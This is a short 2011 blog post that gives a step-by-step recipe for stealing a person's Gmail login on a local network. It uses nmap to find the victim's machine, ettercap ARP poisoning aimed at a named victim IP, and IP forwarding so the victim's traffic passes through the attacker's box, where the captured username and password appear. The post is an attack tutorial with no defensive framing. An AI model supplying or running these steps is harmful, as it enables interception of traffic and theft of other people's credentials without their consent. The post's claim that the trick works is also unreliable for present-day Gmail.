Friday, December 30, 2011

Hacking Gmail Password from your linux box

1. install CentOS 4.4 (for me I'm using CentOS Mini 4.4, only 1 disc)
2. install nmap using yum (yum -y install nmap)
3. install ettercap (ettercap-0.7.2-1.2.el4.rf.i386.rpm)
4. login as root
5. nmap -sP 192.168.1.0/24 or 192.168.1.165 (scanning the victim's machine, using nmap)
6. ettercap -Tq -i eth0 -M arp:remote,oneway /192.168.1.165/ //
7. type in terminal -> echo 1 > /proc/sys/net/ipv4/ip_forward (make sure IP Forwarding from your linux box, so victim's machine can use internet)
8. from the victim's machine, default gateway should be your linux machine.
9. go to https://gmail.google.com and login to gmail
10. go back to linux box and check on screen, voilĂ  ..! you will see the username and password of the victim.
Quote of the Day